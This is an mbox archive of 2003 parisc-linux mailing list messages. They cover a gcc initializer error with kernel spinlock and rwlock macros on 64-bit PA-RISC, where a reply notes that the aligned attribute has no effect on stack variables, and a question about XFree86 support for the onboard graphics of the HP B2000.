	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18njsS-0005LB-00; Tue, 25 Feb 2003 19:32:28 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 25 Feb 2003 19:32:24 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17791

>-- Original Message --
>From: "Joel Soete" <jsoe0708@tiscali.be>
>Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
>To: "Matthew Wilcox" <willy@debian.org>
>Cc: parisc-linux@parisc-linux.org
>Date: Tue, 25 Feb 2003 18:00:42 +0100
>
>
>>
>>>-- Original Message --
>>>From: Matthew Wilcox <willy@debian.org>
>>>To: Joel Soete <jsoe0708@tiscali.be>
>>>Cc: parisc-linux@parisc-linux.org
>>>Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
>>>Date: Mon, 24 Feb 2003 17:50:13 +0000
>>>
>>>
>>>On Mon, Feb 24, 2003 at 06:42:39PM +0100, Joel Soete wrote:
>>>> sched.c:93: initializer element is not constant
>>>> sched.c:93: (near initialization for `tasklist_lock')
>>>> sched.c:93: initializer element is not constant
>>>[...]
>>>> which is precompile as:
>>>> rwlock_t tasklist_lock __attribute__((__aligned__(64))) = (rwlock_t)
>{
>>>(spinlock_t)
>>>> {1}, 0 };
>>>>
>>>> What's wrong?
>>>
>>>looks like gcc broke this again.  for the moment, you can try taking
>>>out the casts.
>As struct spinlock_t is defined like:
>
>typedef struct {
>#ifdef CONFIG_PA20
>        volatile unsigned int lock;
>#else
>        volatile unsigned int __attribute__((aligned(16))) lock;
>#endif
>#ifdef CONFIG_DEBUG_SPINLOCK
>        volatile unsigned long owner_pc;
>        volatile unsigned long owner_cpu;
>#endif
>} spinlock_t;
>
>I take care to unset CONFIG_DEBUG_SPINLOCK (make menu) and so change in
sched.c
>
>#define RW_LOCK_UNLOCKED (rwlock_t) { { 1 } , 0 }
>
>The good news was that I reach to compile the kernel :)
>The bad one was that this kernel failled to boot :(
>
>(As this N stand in a computer room, it is not easy to access the console
>to grab more info :( , sorry)
>
>Well, doesn't matter, I am already enough happy to be able to boot and
work
>with a N (even in up).
>
>Thanks again for advises,
>    Joel
>
>>>
>>Yes :((
>>
>>This errors also occurs with 32bits gcc-3.2 as well as for gcc-3.3 (gcc-snapshot)
>>(but was not with gcc-3.0)
>>
>>Thanks,
>>    Joel
>>
>>PS: daya think a bg is required?
>>

Very strange ???

folowing test case:
#include <stdio.h>

typedef struct {
        volatile unsigned int lock;
        volatile unsigned long owner_pc;
        volatile unsigned long owner_cpu;
} spinlock_t;

#define SPIN_LOCK_UNLOCKED (spinlock_t) { 1 }

typedef struct {
        spinlock_t lock;
        volatile int counter;
} rwlock_t;

#define RW_LOCK_UNLOCKED (rwlock_t) { SPIN_LOCK_UNLOCKED, 0 }

int main(int argc, char * * argv, char * * env) {

    spinlock_t MySpinLock __attribute__((__aligned__(64))) =SPIN_LOCK_UNLOCKED;
    rwlock_t MyRWLock __attribute__((__aligned__(64))) = RW_LOCK_UNLOCKED;

    printf("MySpinLock->lock: %d\n", MySpinLock.lock);

    printf("MySpinLock->owner_pc: %d\n", MySpinLock.owner_pc);

    printf("MySpinLock->owner_cpu: %d\n", MySpinLock.owner_cpu);

    printf("MyRWLock->lock->lock: %d\n", MyRWLock.lock.lock);

    printf("MyRWLock->lock->owner_pc: %d\n", MyRWLock.lock.owner_pc);

    printf("MyRWLock->lock->owner_cpu: %d\n", MyRWLock.lock.owner_cpu);

    printf("MyRWLock->counter: %d\n", MyRWLock.counter);

    return 0;
}

with same options as for the kernel:
hppa64-linux-gcc -E -D__KERNEL__ -I/usr/include -I/usr/src/linux-2.4.20-pa27-64/include
-Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common
-fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=2.0 -mschedule=8000
  -nostdinc -I /usr/lib/gcc-lib/hppa64-linux/3.2.3/include -DKBUILD_BASENAME=sched
 -fno-omit-frame-pointer -c -o TCast.o TCast.c

precompiles:
    spinlock_t MySpinLock __attribute__((__aligned__(64))) =(spinlock_t)
{ 1 };
    rwlock_t MyRWLock __attribute__((__aligned__(64))) = (rwlock_t) { (spinlock_t)
{ 1 }, 0 };

Excepted variable names, it seems to be very similar to the kernel src sched
which was:
# 92 "sched.c"
spinlock_t runqueue_lock __attribute__((__aligned__(64))) = (spinlock_t)
{ 1 };
rwlock_t tasklist_lock __attribute__((__aligned__(64))) = (rwlock_t) { (spinlock_t)
{ 1 }, 0 };


Never the less this testcase doesn't reproduce the mentionned pb?
Could it be that true is elsewhere?

Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Tue, 25 Feb 2003 13:50:04 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200302251850.h1PIo5ji002929@hiauly1.hia.nrc.ca>
References: <3E5A232800000729@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622241 22323 80.91.229.3 (22 Nov 2014 02:10:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:41 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 25 11:50:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C4C0483E
	for <parisc-linux@parisc-linux.org>; Tue, 25 Feb 2003 11:50:11 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h1PIo5lk002930;
	Tue, 25 Feb 2003 13:50:06 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h1PIo5ji002929;
	Tue, 25 Feb 2003 13:50:05 -0500 (EST)
In-Reply-To: <3E5A232800000729@ocpmta8.freegates.net> from "Joel Soete" at Feb 25, 2003 07:32:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17792

> int main(int argc, char * * argv, char * * env) {
> 
>     spinlock_t MySpinLock __attribute__((__aligned__(64))) =SPIN_LOCK_UNLOCKED;
>     rwlock_t MyRWLock __attribute__((__aligned__(64))) = RW_LOCK_UNLOCKED;

This does not work.  The aligned attribute doesn't work for automatic
variables and never has.  Structures allocated on the stack are allocated
with alignment BIGGEST_ALIGNMENT.  This should be a FAQ.

BIGGEST_ALIGNMENT is 128 bits on the 64-bit ports.  It is 64 on the 32-bit
port.  It is 128 in debian gcc 3.0.4 but this broke the hpux ABI regarding
the placement of long doubles in structures.  Thus, this change was
reverted the GCC CVS source.

Spinlocks on PA 2.0 machines don't need special alignment, although you
may want to keep them in separate cache lines.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B2000 revisited
Date: Tue, 25 Feb 2003 23:10:31 -0800 (PST)
Lines: 24
Approved: news@gmane.org
Message-ID: <20030226071031.74116.qmail@web12502.mail.yahoo.com>
References: <3E53490E0000066B@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-371883973-1046243431=:73808"
X-Trace: ger.gmane.org 1416622241 22396 80.91.229.3 (22 Nov 2014 02:10:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 00:10:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12502.mail.yahoo.com (web12502.mail.yahoo.com [216.136.173.194])
	by dsl2.external.hp.com (Postfix) with SMTP id 9BDDB483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Feb 2003 00:10:32 -0700 (MST)
Original-Received: from [12.24.253.152] by web12502.mail.yahoo.com via HTTP; Tue, 25 Feb 2003 23:10:31 PST
In-Reply-To: <3E53490E0000066B@ocpmta2.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17793

--0-371883973-1046243431=:73808
Content-Type: text/plain; charset=us-ascii


Hey all,

Did a search through the m-l archives, but couldn't find an answer to my question.  Has anyone gotten XFree up on a B2000 using the onboard graphics port (it's an FXE from what I gather)?  Or is everyone with a B2000 using a serial console?  I'm guessing the C3000 would fall into the same boat.  Thanks.

derek



---------------------------------
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, and more
--0-371883973-1046243431=:73808
Content-Type: text/html; charset=us-ascii

<P>Hey all,</P>
<P>Did a search through the m-l archives, but couldn't find an answer to my question.&nbsp; Has anyone gotten XFree up on a B2000 using the onboard graphics port (it's an FXE from what I gather)?&nbsp; Or is everyone with a B2000 using a serial console?&nbsp; I'm guessing the C3000 would fall into the same boat.&nbsp; Thanks.</P>
<P>derek</P><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/finance/mailtagline/*http://taxes.yahoo.com/">Yahoo! Tax Center</a> - forms, calculators, tips, and more
--0-371883973-1046243431=:73808--


From - Thu Nov 08 21:26:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] B2000 revisited
Date: Wed, 26 Feb 2003 09:44:36 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <3E5BA291000002EB@ocpmta3.freegates.net>
References: <20030226071031.74116.qmail@web12502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622241 22399 80.91.229.3 (22 Nov 2014 02:10:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:41 +0000 (UTC)
To: "Derek Engelhaupt" <derekengelhaupt@rocketmail.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 01:44:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7908483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Feb 2003 01:44:41 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18nxB9-0007kA-00; Wed, 26 Feb 2003 09:44:39 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 26 Feb 2003 09:44:36 +0100
In-Reply-To: <20030226071031.74116.qmail@web12502.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17794

>-- Original Message --
>From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
>To: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux] B2000 revisited
>Date: Tue, 25 Feb 2003 23:10:31 -0800 (PST)
>
>
>
>Hey all,
>
>Did a search through the m-l archives, but couldn't find an answer to my
>question.  Has anyone gotten XFree up on a B2000 using the onboard graphics
>port (it's an FXE from what I gather)?  Or is everyone with a B2000 using
>a serial console?

Unfortunaltely under xfree86 there is not yet support for this gfx :(
And not yet news about potential sources availability (may be in a near future???)

>  I'm guessing the C3000 would fall into the same boat.

Could not help about this model.


> Thanks.
>
Well come,
    Joel

---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] B2000 revisited
Date: Wed, 26 Feb 2003 06:33:52 -0800 (PST)
Lines: 58
Approved: news@gmane.org
Message-ID: <20030226143352.86145.qmail@web12501.mail.yahoo.com>
References: <3E5BA291000002EB@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1702283638-1046270032=:85669"
X-Trace: ger.gmane.org 1416622242 22401 80.91.229.3 (22 Nov 2014 02:10:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 07:33:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id F24AC483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Feb 2003 07:33:52 -0700 (MST)
Original-Received: from [12.24.253.152] by web12501.mail.yahoo.com via HTTP; Wed, 26 Feb 2003 06:33:52 PST
In-Reply-To: <3E5BA291000002EB@ocpmta3.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17795

--0-1702283638-1046270032=:85669
Content-Type: text/plain; charset=us-ascii


Well, I threw my PCI EG card in there from my C360 and booted the netinst ISO in the IDE CDROM and I got the penquin with the user configuration interface so maybe once it's loaded I will be able to configure the XFree on the EG card.  Only time will tell at this point. 
derek 
 Joel Soete <jsoe0708@tiscali.be> wrote:

>-- Original Message --
>From: Derek Engelhaupt 
>To: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux] B2000 revisited
>Date: Tue, 25 Feb 2003 23:10:31 -0800 (PST)
>
>
>
>Hey all,
>
>Did a search through the m-l archives, but couldn't find an answer to my
>question. Has anyone gotten XFree up on a B2000 using the onboard graphics
>port (it's an FXE from what I gather)? Or is everyone with a B2000 using
>a serial console?

Unfortunaltely under xfree86 there is not yet support for this gfx :(
And not yet news about potential sources availability (may be in a near future???)

> I'm guessing the C3000 would fall into the same boat.

Could not help about this model.


> Thanks.
>
Well come,
Joel

---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




---------------------------------
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, and more
--0-1702283638-1046270032=:85669
Content-Type: text/html; charset=us-ascii

<P>Well, I threw my PCI EG card in there from my C360 and booted the netinst ISO in the IDE CDROM and I got the penquin with the user configuration interface so maybe once it's loaded I will be able to configure the XFree on the EG card.&nbsp; Only time will tell at this point. 
<P>derek 
<P>&nbsp;<B><I>Joel Soete &lt;jsoe0708@tiscali.be&gt;</I></B> wrote:</P>
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px"><BR>&gt;-- Original Message --<BR>&gt;From: Derek Engelhaupt <DEREKENGELHAUPT@ROCKETMAIL.COM><BR>&gt;To: parisc-linux@lists.parisc-linux.org<BR>&gt;Subject: [parisc-linux] B2000 revisited<BR>&gt;Date: Tue, 25 Feb 2003 23:10:31 -0800 (PST)<BR>&gt;<BR>&gt;<BR>&gt;<BR>&gt;Hey all,<BR>&gt;<BR>&gt;Did a search through the m-l archives, but couldn't find an answer to my<BR>&gt;question. Has anyone gotten XFree up on a B2000 using the onboard graphics<BR>&gt;port (it's an FXE from what I gather)? Or is everyone with a B2000 using<BR>&gt;a serial console?<BR><BR>Unfortunaltely under xfree86 there is not yet support for this gfx :(<BR>And not yet news about potential sources availability (may be in a near future
 ???)<BR><BR>&gt; I'm guessing the C3000 would fall into the same boat.<BR><BR>Could not help about this model.<BR><BR><BR>&gt; Thanks.<BR>&gt;<BR>Well come,<BR>Joel<BR><BR>---------------------------------<BR>Vous surfez avec une ligne classique ?<BR>Faites des economies avec Tiscali Complete<BR>... Plus d'info sur http://complete.tiscali.be<BR><BR></BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/finance/mailtagline/*http://taxes.yahoo.com/">Yahoo! Tax Center</a> - forms, calculators, tips, and more
--0-1702283638-1046270032=:85669--


From - Thu Nov 08 21:26:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dan Baker" <dan_baker@eli.net>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] B2000 revisited
Date: Wed, 26 Feb 2003 08:56:12 -0800
Lines: 153
Approved: news@gmane.org
Message-ID: <004501c2ddb7$f8898170$830c1bac@vli82k7dbaker>
References: <20030226143352.86145.qmail@web12501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0046_01C2DD74.EA6AD550"
X-Trace: ger.gmane.org 1416622242 22406 80.91.229.3 (22 Nov 2014 02:10:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:42 +0000 (UTC)
To: "'Derek Engelhaupt'" <derekengelhaupt@rocketmail.com>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 09:56:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sage.eli.net (sage.eli.net [209.63.203.98])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8BCC483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Feb 2003 09:56:57 -0700 (MST)
Original-Received: from vli82k7dbaker ([209.210.3.17]) by sage.eli.net
          (Netscape Messaging Server 3.6)  with SMTP id AAA109A;
          Wed, 26 Feb 2003 08:56:53 -0800
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Importance: Normal
In-Reply-To: <20030226143352.86145.qmail@web12501.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17796

This is a multi-part message in MIME format.

------=_NextPart_000_0046_01C2DD74.EA6AD550
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

Excellent idea! I will try it this after noon!
  -----Original Message-----
  From: parisc-linux-admin@lists.parisc-linux.org
[mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of Derek
Engelhaupt
  Sent: Wednesday, February 26, 2003 6:34 AM
  To: parisc-linux@lists.parisc-linux.org
  Subject: RE: [parisc-linux] B2000 revisited


  Well, I threw my PCI EG card in there from my C360 and booted the netinst
ISO in the IDE CDROM and I got the penquin with the user configuration
interface so maybe once it's loaded I will be able to configure the XFree on
the EG card.  Only time will tell at this point.

  derek

   Joel Soete <jsoe0708@tiscali.be> wrote:


    >-- Original Message --
    >From: Derek Engelhaupt
    >To: parisc-linux@lists.parisc-linux.org
    >Subject: [parisc-linux] B2000 revisited
    >Date: Tue, 25 Feb 2003 23:10:31 -0800 (PST)
    >
    >
    >
    >Hey all,
    >
    >Did a search through the m-l archives, but couldn't find an answer to
my
    >question. Has anyone gotten XFree up on a B2000 using the onboard
graphics
    >port (it's an FXE from what I gather)? Or is everyone with a B2000
using
    >a serial console?

    Unfortunaltely under xfree86 there is not yet support for this gfx :(
    And not yet news about potential sources availability (may be in a near
future???)

    > I'm guessing the C3000 would fall into the same boat.

    Could not help about this model.


    > Thanks.
    >
    Well come,
    Joel

    ------------------ ---------------
    Vous surfez avec une ligne classique ?
    Faites des economies avec Tiscali Complete
    ... Plus d'info sur http://complete.tiscali.be






----------------------------------------------------------------------------
--
  Do you Yahoo!?
  Yahoo! Tax Center - forms, calculators, tips, and more

------=_NextPart_000_0046_01C2DD74.EA6AD550
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D169353816-26022003>Excellent idea! I will try it this after=20
noon!</SPAN></FONT></DIV>
<BLOCKQUOTE>
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B>=20
  parisc-linux-admin@lists.parisc-linux.org=20
  [mailto:parisc-linux-admin@lists.parisc-linux.org]<B>On Behalf Of =
</B>Derek=20
  Engelhaupt<BR><B>Sent:</B> Wednesday, February 26, 2003 6:34 =
AM<BR><B>To:</B>=20
  parisc-linux@lists.parisc-linux.org<BR><B>Subject:</B> RE: =
[parisc-linux]=20
  B2000 revisited<BR><BR></FONT></DIV>
  <P>Well, I threw my PCI EG card in there from my C360 and booted the =
netinst=20
  ISO in the IDE CDROM and I got the penquin with the user configuration =

  interface so maybe once it's loaded I will be able to configure the =
XFree on=20
  the EG card.&nbsp; Only time will tell at this point.=20
  <P>derek=20
  <P>&nbsp;<B><I>Joel Soete &lt;jsoe0708@tiscali.be&gt;</I></B> =
wrote:</P>
  <BLOCKQUOTE=20
  style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px =
solid"><BR>&gt;--=20
    Original Message --<BR>&gt;From: Derek Engelhaupt=20
    <DEREKENGELHAUPT@ROCKETMAIL.COM><BR>&gt;To:=20
    parisc-linux@lists.parisc-linux.org<BR>&gt;Subject: [parisc-linux] =
B2000=20
    revisited<BR>&gt;Date: Tue, 25 Feb 2003 23:10:31 -0800=20
    (PST)<BR>&gt;<BR>&gt;<BR>&gt;<BR>&gt;Hey all,<BR>&gt;<BR>&gt;Did a =
search=20
    through the m-l archives, but couldn't find an answer to =
my<BR>&gt;question.=20
    Has anyone gotten XFree up on a B2000 using the onboard =
graphics<BR>&gt;port=20
    (it's an FXE from what I gather)? Or is everyone with a B2000 =
using<BR>&gt;a=20
    serial console?<BR><BR>Unfortunaltely under xfree86 there is not yet =
support=20
    for this gfx :(<BR>And not yet news about potential sources =
availability=20
    (may be in a near future???)<BR><BR>&gt; I'm guessing the C3000 =
would fall=20
    into the same boat.<BR><BR>Could not help about this =
model.<BR><BR><BR>&gt;=20
    Thanks.<BR>&gt;<BR>Well come,<BR>Joel<BR><BR>------------------=20
    ---------------<BR>Vous surfez avec une ligne classique ?<BR>Faites =
des=20
    economies avec Tiscali Complete<BR>... Plus d'info sur=20
    http://complete.tiscali.be<BR><BR></BLOCKQUOTE>
  <P><BR>
  <HR SIZE=3D1>
  Do you Yahoo!?<BR><A=20
  =
href=3D"http://rd.yahoo.com/finance/mailtagline/*http://taxes.yahoo.com/"=
>Yahoo!=20
  Tax Center</A> - forms, calculators, tips, and =
more</BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0046_01C2DD74.EA6AD550--



From - Thu Nov 08 21:26:54 2018
X-Mozilla-Status: 0011
